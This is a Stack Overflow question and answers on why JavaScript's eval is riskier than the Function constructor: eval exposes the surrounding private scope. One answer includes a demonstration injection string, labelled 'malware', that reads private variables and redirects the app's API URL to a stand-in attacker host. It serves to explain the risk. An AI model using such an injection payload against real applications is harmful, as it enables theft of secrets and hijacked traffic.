7

I was reading about eval on MDN and it seems to suggest that a somewhat "better" alternative to eval is to use a function constructor. MDN seems to highlight that using a function constructor is less of a security risk compared to eval as:

a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible.

- MDN

What exactly does "a third-party code can see the scope in which eval() was invoked" mean and how does it impact the security of my JS apps?

asked Mar 9, 2019 at 7:08
3
  • As mentioned in the docs its about scope Commented Mar 9, 2019 at 7:40
  • @LawrenceCherone Hi Lawrence, I'm aware of that. But what does having access to the scope actually mean? Thanks Commented Mar 9, 2019 at 7:45
  • 1
    jsbin.com/zimerutowe/edit?js,console,output Commented Mar 9, 2019 at 7:46

2 Answers 2

8

From the MDN page:

However, unlike eval, the Function constructor creates functions which execute in the global scope only.

If you wrap all of your code in a closure, secret objects cannot be accessed from the evaluated function body.

(() => {
 let secret = 42;
 eval("console.log(secret)"); // 42
 let fn = new Function("console.log(secret)");
 fn(); // secret is not defined
})();

Nick Parsons
51.6k6 gold badges61 silver badges80 bronze badges
answered Mar 9, 2019 at 7:46

Comments

3

An example of how using eval to, in this scenrio, parse inputs exposes and compromises all the private scope of your app.

app = (function(){
 // my app with all its shiny little secrets
 // stored in private variables
 var secret = 42;
 var apiUrl = "/api/";
 return {
 withEval(input){
 var someObject = eval(input);
 console.log("withEval", someObject);
 if(apiUrl === "/api/"){
 console.log("xhr to", apiUrl);
 }else{
 console.warn("xhr to", apiUrl); 
 }
 },
 withFunction(input){
 var someObject = Function("return(" + input+")")();
 console.log("withFunction", someObject);
 if(apiUrl === "/api/"){
 console.log("xhr to", apiUrl);
 }else{
 console.warn("xhr to", apiUrl); 
 }
 },
 }
})();
var malware = `(${
()=>{
 try { console.warn("found secret", secret); } catch(err){ console.error(err); }
 try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
 apiUrl = "http://attacker.example.com/";
}})(),{ foo: 13, bar: 42 }`;
console.log(malware);
app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);

With eval your "secret" is exposed, like ids, tokens, ... and even the "apiUrl" has been changed so all your api-calls now make a roundtrip over the webpage of some attacker.

And your code doesn't even throw an error; I've logged these errors in the console.

Lawrence Cherone
46.7k7 gold badges66 silver badges107 bronze badges
answered Mar 9, 2019 at 8:07

Comments

Your Answer

Draft saved
Draft discarded

Sign up or log in

Sign up using Google
Sign up using Email and Password

Post as a guest

Required, but never shown

Post as a guest

Required, but never shown

By clicking "Post Your Answer", you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.